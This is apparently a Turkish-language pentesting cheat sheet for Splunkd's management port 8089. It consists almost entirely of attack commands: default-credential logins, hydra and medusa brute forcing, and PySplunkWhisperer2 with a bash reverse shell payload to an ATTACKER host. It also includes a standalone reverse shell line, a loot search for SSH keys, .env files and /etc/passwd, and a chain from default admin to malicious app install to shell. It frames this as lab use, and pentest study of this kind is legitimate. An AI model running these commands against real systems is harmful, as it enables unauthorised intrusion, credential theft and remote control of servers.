8089 - Pentesting Splunkd
Splunk siem
Splunk yönetim portu (8089) API ve uygulama yükleme yüzeyi sunar. Admin = reverse shell app. Hedef lab IP’si üzerinde komutları 8089 portuna göre uyarla; her başarıyı ayrı kanıtla.
Metodoloji
Section titled “Metodoloji”-
8089 doğrula.
-
Default/brute auth.
-
Apps / REST API.
-
Evil app ile shell.
nmap -Pn -sV -p8089,8000 TARGETcurl -sk https://TARGET:8089/curl -sk https://TARGET:8089/services/server/info -u admin:changemeadmin/changeme, admin/adminhydra -l admin -P pass.txt https-get://TARGET:8089/servicescurl -sk -u admin:pass https://TARGET:8089/services/apps/localpython3 PySplunkWhisperer2.py --host TARGET --port 8089 --user admin --password pass --payload 'bash -i >& /dev/tcp/ATTACKER/443 0>&1'searchsploit splunkDerin enum
Section titled “Derin enum”Splunkd için ek keşif ve fingerprint.
nmap -Pn -sV -sC -p8089 TARGETnmap -Pn -p8089 --script safe,discovery TARGETtimeout 5 bash -c 'echo | openssl s_client -connect TARGET:8089' 2>/dev/null | headpython3 -c "import socket;s=socket.create_connection(('TARGET',8089));s.settimeout(3);print(s.recv(4096))"Banner / TLS / ALPN notları → SplunkdKimlik & brute (ek)
Section titled “Kimlik & brute (ek)”hydra -L users.txt -P rockyou.txt -s 8089 PROTOCOL://TARGET -t 4medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 8089nmap -p8089 --script '*-brute' TARGETadmin/admin, root/root, guest/(boş), test/testExploit arama
Section titled “Exploit arama”searchsploit Splunkmsfconsole -q -x 'search Splunk; exit'nuclei -u https://TARGET:8089 -t cves/ -silent -severity || truenuclei -u http://TARGET:8089 -tags tech -silent || trueManuel protokol
Section titled “Manuel protokol”nc -nv TARGET 8089printf '' | timeout 3 nc -nv TARGET 8089curl -vk --http1.0 http://TARGET:8089/Wireshark/tcpdump ile konuşmayı kaydet; replay denePost-erişim & loot
Section titled “Post-erişim & loot”config, key, session, env, backupfind / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | headss -lntp; ip a; cat /etc/passwd | headbash -i >& /dev/tcp/ATTACKER/443 0>&1mkdir -p loot && tee loot/notes.txtOperasyon checklist
Section titled “Operasyon checklist”[ ] Fingerprint / sürüm[ ] Auth ve anonim erişim[ ] PoC etki gösterildi[ ] Credential/shell paketlendi[ ] Pivot notuZincir
Section titled “Zincir”default admin → REST app install → reverse shell